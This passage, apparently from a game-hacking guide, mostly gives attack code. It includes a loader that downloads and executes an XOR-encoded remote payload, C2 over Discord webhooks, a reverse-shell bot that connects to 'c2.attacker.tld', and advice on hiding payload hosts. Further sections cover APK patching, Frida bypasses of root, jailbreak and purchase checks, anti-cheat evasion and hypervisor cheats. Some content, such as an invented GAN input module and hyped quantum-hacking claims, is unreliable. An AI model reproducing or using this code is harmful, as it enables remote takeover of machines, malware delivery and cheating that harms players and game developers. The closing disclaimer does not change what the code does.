    import importlib
    # or use exec() for dynamic logic reload
  • XOR-Encoded Payloads:

    def decode_payload(x):
        return ''.join(chr(ord(c) ^ 0x55) for c in x)
    
    script = decode_payload(requests.get(url).text)
    exec(script)
  • C2 Over Webhooks:

    import requests
    
    def report(event):
        requests.post("https://discord.com/api/webhooks/...", json={
            "username": "BotStatus",
            "content": f"[+] {event}"
        })
    
    report("Bot started.")

Anti-Detection / Stealth

Technique Purpose Sample Code
String obfuscation Avoid static scans ''.join([chr(x) for x in [...]])
Runtime decryption Delay detection XOR/RC4 encoded payload
Sleep jittering Behavioral stealth time.sleep(random.randint(...))
GitHub raw URL hosting Public payload delivery raw.githubusercontent.com/...

Persistence Tactics

Platform Method Description
Windows Registry Run key Auto-start on boot
Windows Task Scheduler Survives reboot
Linux .bashrc, systemd Re-exec on login
All %APPDATA%, .cache Hidden dir deployment

Defensive Use (Red Team / Research Mode)

Use these bots to:

  • Study network forensics of C2 systems
  • Test SIEM and EDR detection
  • Train defenders with bot orchestration demos
  • Deploy honeypot bots to observe anti-cheat behavior

OPSEC + Detection Risk

Risk Mitigation
Payload host flagged Rotate GitHub repos / use custom domain
Static URL/IP flagged Cloudflare or dynamic DNS
exec() payload analysis PyInstaller or logic obfuscation
Webhook fingerprinting Burner Discord/TG bots

Bonus: Socket-Based C2 Bot Skeleton

import socket
import subprocess

HOST = 'c2.attacker.tld'
PORT = 8080

while True:
    try:
        with socket.socket() as s:
            s.connect((HOST, PORT))
            while True:
                cmd = s.recv(1024).decode()
                if cmd.lower() == "exit": break
                out = subprocess.getoutput(cmd)
                s.send(out.encode())
    except Exception as e:
        time.sleep(60)

Persistent Pathfinding and Resource Bots

Enable repeatable, map-accurate automation for farming, mining, and patrols.


Capabilities

  • Memory-mapped or screen-based path recording & replay
  • Navigation scripting (waypoints, turning angles, XYZ control)
  • Collision & stuck detection logic
  • Persistence across sessions (auto relog/reconnect)
  • OCR- or memory-based inventory/tool status
  • Timer syncing with in-game events or zones

Example Path Record Script (pymem + hotkeys)

import keyboard
coords = []

while True:
    if keyboard.is_pressed('F9'):
        x, y, z = read_coords_from_memory()
        coords.append((x, y, z))
        print("Waypoint:", x, y, z)
    if keyboard.is_pressed('F10'):
        replay_path(coords)

Action Triggers (Mining / Loot)

  • Screen pixel check: glowing resource nodes
  • Hook TryUseSkill() or Interact() calls in Unity/Lua/MMOs
  • Use OCR for cooldown or durability checks
void TryUseSkill(SkillSlot slot) {
  if (slot.ready && target.distance < range)
    slot.Activate();
}

Event-Aware Bots

  • Time-based patrols or event triggers (Dolmens, invasions)
  • Detect zone transitions, NPC dialogue, or time-of-day
  • Hook ScheduleNextEvent() or use time.sleep() delay logic

Visual Detection (OpenCV / YOLO)

  • Template Matching Example:
matches = cv2.matchTemplate(screen, template, cv2.TM_CCOEFF_NORMED)
  • YOLOv7 Real-Time Inference:
results = model(screen)
if results.pandas().xyxy[0]:
    act()

Anti-Ban Stealth

  • Slight delay randomization
  • Offset each run’s path slightly
  • Pause loops randomly
  • Rotate server/logins

Mobile Game Hacking (Android and iOS)

Explore the offensive security techniques and reverse engineering approaches used to dissect, modify, and automate mobile games. This section covers app decompilation, runtime instrumentation, anti-cheat bypassing, and automation using modern tools like Frida, Magisk, APKTool, and more.

Primary focus: Android (APK) and iOS (IPA) game hacking for educational, red teaming, and CTF purposes only.


Overview

Platform Technique Tools
Android APK reverse engineering APKTool, jadx, Ghidra
Android Runtime hooking Frida, Magisk, ptrace
iOS Jailbreak + class dumping Frida, Hopper, LLDB
All Input automation & bots AutoTouch, ADB, Appium
All Anti-cheat bypassing Root/Jailbreak detection evasion

APK Reverse Engineering (Android)

APK Decompilation (Beginner)

Tools Required

  • apktool
  • jadx
  • Java Decompiler
  • dex2jar

Workflow

apktool d mygame.apk -o mygame_dec/
jadx mygame.apk  # GUI decompiler

Explore smali/ files or Java classes:

Look for onPurchase(), checkGold(), inventoryManager, etc.

Patch logic like:

invoke-static {v0}, Lcom/game/store/CheckPurchase;->isAllowed()Z
move-result v1
if-eqz v1, :original_code

const/4 v1, 0x1   # Always allow

Smali Modification (Intermediate)

Patch APK logic via smali edits:

.method public isRooted()Z
    .registers 2
    const/4 v0, 0x0  # Force "not rooted"
    return v0
.end method

Rebuild & resign:

apktool b mygame_dec/ -o modded.apk
jarsigner -keystore my-release-key.keystore modded.apk alias_name
adb install -r modded.apk

Frida for Android and iOS (Dynamic Instrumentation)

Setup (Android)

  • Rooted or Magisk-enabled phone
  • Install frida-server matching phone architecture

Push and run:

adb push frida-server /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/frida-server && ./data/local/tmp/frida-server &"

On host:

frida -U -n com.example.game

Example: Hooking Currency Function

Java.perform(function() {
    var GameUtils = Java.use("com.example.game.CurrencyManager");
    GameUtils.getCoins.implementation = function() {
        console.log("[+] Hooked getCoins!");
        return 999999;
    };
});

Hot reloadable without repackaging the APK.


Frida on iOS (Advanced)

  • Jailbreak device with Checkra1n or TrollStore-compatible firmware
  • Install frida via Cydia or Sileo

Attach to process:

frida -U -n MyGame

Hook Objective-C methods:

ObjC.schedule(ObjC.mainQueue, function() {
    var cls = ObjC.classes.InAppPurchaseManager;
    var sel = 'checkTransaction:';
    Interceptor.attach(cls[sel].implementation, {
        onEnter: function(args) {
            console.log("[*] Intercepted in-app purchase:", ObjC.Object(args[2]));
        }
    });
});

Android Root Detection Bypass

Common detection flags:

  • Build.TAGS contains test-keys
  • su binary in /system/bin/
  • Magisk modules
  • Access to frida-server

Frida Hook Example: Disable Root Checks

Java.perform(function () {
    var RootCheck = Java.use("com.example.anticheat.Checks");
    RootCheck.isDeviceRooted.implementation = function () {
        return false;
    };
});

Magisk Hide + Zygisk Modules

  • Use MagiskHidePropsConf to spoof build fingerprint
  • Use Zygisk + Shamiko to hide root from Zygote-initialized apps

iOS Jailbreak Detection Bypass

Typical Checks:

  • fileExistsAtPath("/Applications/Cydia.app")
  • canOpenURL("cydia://")
  • fork(), getppid(), sysctl

Frida Hook (iOS)

Interceptor.attach(Module.findExportByName(null, "stat"), {
  onEnter(args) {
    var path = Memory.readUtf8String(args[0]);
    if (path.indexOf("Cydia") !== -1) {
      Memory.writeUtf8String(args[0], "/fakepath");
    }
  }
});

Mobile Input Automation and Bots

Android Automation

Tools:

  • ADB + scrcpy + Python
  • AutoInput + Tasker
  • MonkeyRunner
  • uiautomator

Example: Tap Resource Nodes with Python + ADB

import os, time
while True:
    os.system("adb shell input tap 540 1200")
    time.sleep(1.5)

iOS Automation (Jailbreak Required)

Tools:

  • AutoTouch / TouchRecorder
  • XCUITest (requires dev access)
  • lldb input spoofing

Advanced Tactics

Technique Description Platform
Inline Native Hooking Hook libil2cpp.so, libunity.so Android
Class Dumping Dump all classes from ObjC runtime iOS
Patch In-Memory Data Use Frida.Memory.write*() for RAM edits All
Runtime Memory Scanning Use Frida to find health/coin vars Android
Emulator Bypass Patch ro.hardware and sensors Android

Anti-AntiCheat and Evasion

Detection Type Evasion Technique
Magisk detection Use Zygisk + Shamiko
Root binaries Rename su, hide mounts
Debugger attach Patch ptrace() via Frida
Frida detection Rename frida-server, patch symbol calls
Jailbreak (iOS) Use libhooker, patch fileExistsAtPath()

VM-Level Cheats using EPT, NPT, and Bluepill

By using hardware-assisted virtualization, we can intercept and manipulate game memory without directly modifying it — enabling powerful cheat capabilities while evading detection by anti-cheat systems like BattleEye, Vanguard, or EAC.

This class of cheats resides below the kernel, using hypervisors and page table remapping (EPT/NPT) to view and/or manipulate memory from another ring (Ring -1) — below Ring 0.

Core Concepts

Term Description
EPT (Intel) Extended Page Tables — allows second-level address translation in VM
NPT (AMD) Nested Page Tables — same purpose as EPT but for AMD-V
Bluepill A rootkit or hypervisor that silently loads under the host OS
Ring -1 Privilege level used by hypervisors (below kernel Ring 0)
VMX / SVM Intel and AMD virtualization instructions (vmxon, vmexit, etc.)
VMM Virtual Machine Monitor (a.k.a. hypervisor, either custom or KVM/Hyper-V)

Use Cases in Game Hacking

  • External ESP Overlays
  • Read-Protected Pages
  • Undetectable Memory View
  • Runtime Memory Redirection
  • Full Memory Timeline

How It Works: EPT Memory View (Intel)

+---------------------+       +-----------------------------+
| Guest Virtual Addr  | --->  | Guest Physical Addr (GPA)   |
+---------------------+       +-----------------------------+
                                   ↓
                           +---------------------+
                           | Host Physical Addr   |
                           +---------------------+

Techniques

1. Custom Hypervisor (KVM, Bare-metal, SimpleVisor)

  • Sets EPT/NPT permissions
  • Logs reads/writes
  • Triggers VMExit

Projects: SimpleVisor, Hvpp, LibVMI

2. Hyper-V Based External ESP

  • Run game in Hyper-V
  • Read memory from host using LibVMI

3. Memory Redirection via EPT Hooks

// EPT hook concept
setup_ept_hook(target_gpa, callback_on_readwrite);

4. Bluepill Hypervisor Injection

  • vmxon to activate VMX root mode
  • Live patching without drivers

Anti-Detection Advantages

Feature Traditional Cheat VM-Level Cheat
Requires driver
Visible to AV
Touches game RAM
Bypasses PatchGuard
Hooks detected

Advanced Applications

  • Shadow Memory
  • Page Fault ESP
  • Instruction Hooks
  • DMA Isolation

Tooling Ecosystem

Tool Purpose
SimpleVisor EPT hypervisor
hvpp VT-x engine
LibVMI VM memory introspection
DRAKVUF Xen-based tracer
HyperDbg VM debugger
Bareflank C++ hypervisor framework

Real-World Exploit Flow: Silent ESP via LibVMI

# Setup VM
virsh start game-vm

# Attach to memory
vmi = Libvmi("game-vm")
addr = vmi.translate_ksym("PlayerStruct")

# Read loop
while True:
    coords = vmi.read(addr, 12)
    draw_esp(coords)

Research Tips

  • Use VT-d to bypass DMA protection
  • Trace VMEXITs to understand timing
  • EPTP list: swap memory views
  • EPT dirty bits: side-channel memory usage


Anti-AntiCheat Signatures and Patches

This section provides a detailed framework for countering detection mechanisms employed by anti-cheat systems like Battleye, EasyAntiCheat (EAC), Vanguard, and others.


Why This Matters

Anti-cheat systems don’t just detect cheat software; they identify cheating behavior and cheat footprints.

Type Detection Method Examples
Signature Static strings/hashes cheat.dll, function stubs
Behavioral Timing, input Perfect recoil, pixel aim
Memory Page access, patching NOP’d cooldowns, IAT hooks
Syscall API call graphs NtReadVirtualMemory
Kernel SSDT, IRP, callbacks Driver list, PsSet callbacks

File Signature Detection (Static)

Anti-cheat scans memory for static patterns or hashes.

Common Flagged Strings

Pattern Anti-Cheat Notes
"LoadLibraryA" All Classic DLL injection
"GetAsyncKeyState" EAC, Vanguard Keylogger, ESP detection
"SetWindowsHookEx" Battleye, EAC Global input hook
"CheatEngine" All Memory/window title scan
"NtOpenProcess" Vanguard Syscall flagging
"CreateToolhelp32Snapshot" Battleye Process/thread enum

Mitigation Techniques

  • String Obfuscation:

    const char* LLA = "\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x41";
  • Dynamic API Resolution:

    FARPROC GetAPIByHash(DWORD hash) { /* Export table walker */ }
  • Polymorphic Code: Self-modifying shellcode.


IAT and EAT Hook Detection

Anti-cheat systems inspect import/export tables.

Detection Example

FARPROC* pIAT = (FARPROC*)(base + offset);
if ((uintptr_t)(*pIAT) != GetProcAddress(GetModuleHandle("user32.dll"), "MessageBoxA"))
    // Hooked!

Mitigation

  • Rebuild IAT after injection.
  • Inline hooks instead of IAT.
  • Stealth trampolines:
    original_code:
        mov r10, rcx
        mov eax, [syscall_id]
    stealth_gate:
        jmp qword [rel hidden_handler]
    hidden_handler:
        dq 0xDEADBEEFCAFEBABE

Memory Signature Detection

Anti-cheat systems use AOB scanning for known patterns.

Example: ESP Hook

// Original
call dword ptr [eax+0x70]
// Hooked
jmp myESPOverlay

Mitigation

  • Trampoline hooks
  • Encoded shellcode
  • Cloaking memory:
    void cloak_memory_region(void* addr, size_t size) {
        // Use shadow memory and hide with PTE changes
    }

Process-Level Detection (PEB/Handles)

Anti-cheat may inspect:

  • PEB module list
  • NtQuerySystemInformation
  • NtQueryObject
  • EnumWindows for cheat UIs

Evasion Examples

  • Unlink from PEB:

    PLIST_ENTRY InMemoryOrder = &peb->Ldr->InMemoryOrderModuleList;
    InMemoryOrder->Flink->Blink = InMemoryOrder->Blink;
    InMemoryOrder->Blink->Flink = InMemoryOrder->Flink;
  • Hide Window:

    HWND hWnd = FindWindow(NULL, L"Cheat Engine 7.5");
    if (hWnd) ShowWindow(hWnd, SW_HIDE);
  • Block Handle Inspection:

    if (ObjectType == ObjectTypeInformation && IsOurHandle(handle)) {
        return STATUS_INVALID_HANDLE;
    }

Kernel-Mode Detection (SSDT, IRP, Callbacks)

Detection points:

  • IRP callbacks on \Device\KeyboardClass0
  • SSDT hooks (e.g., NtReadVirtualMemory)
  • Kernel object notify routines

Mitigation

  • Direct Syscalls:

    void* ZwReadVirtualMemory = get_syscall_address(0x3F);
  • Unregister Callbacks:

    ObUnRegisterCallbacks(MyHandle);
  • Hypervisor Execution:

    void execute_protected(void* code, size_t size) {
        enter_vmx_operation();
        load_encrypted_payload(code, size);
        set_vmcs_field(VMCS_GUEST_RIP, encrypted_entry);
        resume_guest();
    }

Behavioral Detection Bypass

Flagged patterns:

Behavior Reason
No recoil Inhuman precision
1ms reaction Scripted macros
Perfect aim Triggerbots
Static movement Bot detection

Mitigation Techniques

  • Add jitter and randomized delay
  • GAN-generated Inputs:
    from gan_input import BehavioralGAN
    bot = BehavioralGAN(model="cs2_pro_player.gan")
    while gaming:
        real_input = capture_mouse_movement()
        stealth_input = bot.generate(real_input, variance=0.3)
        send_input(stealth_input)

Anti-Screenshot and Video Detection

Anti-cheats may call BitBlt, GetRenderTargetData, or kernel video functions.

Bypass Examples

  • BitBlt Hook:

    BOOL BitBltHook(...) {
        if (IsBeingCaptured()) return FALSE;
        return OriginalBitBlt(...);
    }
  • Context-Aware Rendering:

    HRESULT __stdcall hkPresent(...) {
        if (is_capture_active()) {
            clean_render_target();
            auto hr = oPresent(...);
            restore_render_target();
            return hr;
        }
        render_esp();
        return oPresent(...);
    }

Anti-AntiCheat Summary Table

Layer Defense Mechanism Bypass Technique
Usermode API hooks, title scans API hashing, string obfuscation
Memory AOB, signature scans Encoded shellcode, trampolines
Kernelmode SSDT, IRP, callbacks Direct syscalls, VM hiding
Behavioral Input timing, aim paths Jitter, GAN emulation
Forensics Screenshots, video frames Frame guards, present hooks

Quantum Computing Assisted Game Hacking

Harness the power of quantum mechanics to revolutionize game hacking techniques. While practical quantum computers are not yet widely available, understanding these concepts prepares you for the potential future of cybersecurity.


Quantum Algorithms for Game Hacking

  • Grover's Algorithm: Accelerate brute-force searches quadratically. Ideal for cracking passwords, encryption keys, or finding hidden memory addresses.

    Example: Searching a key space of N elements takes O(√N) time instead of O(N).

  • Shor's Algorithm: Factor large integers exponentially faster than classical computers, breaking RSA encryption used in DRM and network protocols.

  • Quantum Annealing: Solve optimization problems (e.g., pathfinding for bots, resource allocation) more efficiently.


Quantum-Enhanced Analysis

  • Quantum Simulation: Simulate game physics engines (e.g., Havok, PhysX) at unprecedented speeds.
  • Quantum Machine Learning (QML): Train neural networks for aimbots or decision-making bots exponentially faster.
  • QML for Aimbots: Use quantum convolutional neural networks (QCNNs) for near-instant target acquisition.
  • Quantum Fuzzing: Use quantum algorithms to generate more effective test cases.

Quantum-Resistant Hacking

  • Post-Quantum Cryptography (PQC): Study lattice-based, hash-based, and multivariate cryptographic schemes as games adopt PQC.
  • Quantum Key Distribution (QKD): Understand how games might implement QKD and explore theoretical bypass strategies.

Experimental Toolchain

Tool/Framework Purpose
Qiskit (IBM) Quantum circuit simulation and algorithm development
Cirq (Google) Framework for NISQ quantum computing
PennyLane Quantum machine learning, hybrid models
Microsoft Quantum Dev Kit Q# programming for quantum applications

Example: Grover's Algorithm for Key Search

from qiskit import QuantumCircuit, Aer, execute
from qiskit.visualization import plot_histogram
import numpy as np

# Define the oracle for the secret key (e.g., 110)
def oracle(circuit, secret_key):
    for i, bit in enumerate(secret_key):
        if bit == '1':
            circuit.x(i)
    circuit.cz(0, 2)
    for i, bit in enumerate(secret_key):
        if bit == '1':
            circuit.x(i)

# Grover's algorithm setup
n = 3  # Number of qubits (for 3-bit key)
grover_circuit = QuantumCircuit(n, n)

# Initialize superposition
grover_circuit.h(range(n))

# Apply oracle and diffusion operator
iterations = int(np.ceil(np.sqrt(2**n)))
for _ in range(iterations):
    oracle(grover_circuit, '110')
    grover_circuit.h(range(n))
    grover_circuit.x(range(n))
    grover_circuit.h(n-1)
    grover_circuit.mct(list(range(n-1)), n-1)  # Multi-controlled Toffoli
    grover_circuit.h(n-1)
    grover_circuit.x(range(n))
    grover_circuit.h(range(n))

### Measure
grover_circuit.measure(range(n), range(n))

# Simulate
simulator = Aer.get_backend('qasm_simulator')
result = execute(grover_circuit, simulator, shots=1024).result()
counts = result.get_counts()
print(counts)  # Should show '110' with high probability

Challenges and Limitations

  • NISQ Limitations: Current quantum computers are noisy and have limited qubits.
  • Algorithm Maturity: Many quantum algorithms are still in the theoretical stage.
  • Access: Hardware is expensive and primarily cloud-based (IBM, AWS, Azure Quantum).

Future Outlook

  • Hybrid Approaches: Combine classical + quantum computing for optimization and ML.
  • Quantum Cloud Services: Use cloud-based quantum hardware for cryptanalysis.
  • Game Security Evolution: Expect PQC in games and research preemptive bypasses.

Tool Pairings

Task Toolchain
Static Analysis Ghidra, IDA, Binary Ninja, Radare2
Memory Analysis Cheat Engine, Frida, x64dbg, ReClass.NET
Network Hacking Wireshark, mitmproxy, Scapy, Burp Suite
Fuzzing AFL++, Honggfuzz, Boofuzz, KernelFuzzer
AI Integration YOLOv7, OpenCV, TensorFlow, TensorRT
Kernel Exploits WinDbg, Ghidra, UEFITool
Automation Python, pymem, Selenium

Disclaimer

This repository is strictly for authorized penetration testing, academic research, and CTF competitions. Unauthorized use for cheating in live games is illegal, violates terms of service, and risks permanent bans.

These techniques are documented for defensive purposes—to help developers secure games. Always obtain explicit permission before testing any system.